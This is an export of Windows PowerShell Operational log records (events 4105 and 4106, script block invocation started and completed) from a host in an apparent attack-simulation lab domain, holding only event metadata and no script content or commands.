OpCode=On create calls
RecordNumber=2049234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049228
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049227
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049221
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049214
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049212
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049211
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049210
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049208
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049207
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049206
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049205
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049204
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049203
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049202
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049201
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049200
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049199
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049198
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049197
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049196
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049195
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049194
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049193
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049192
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049191
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049190
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049189
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049188
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049187
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049186
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049185
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049184
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049183
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049182
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049181
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
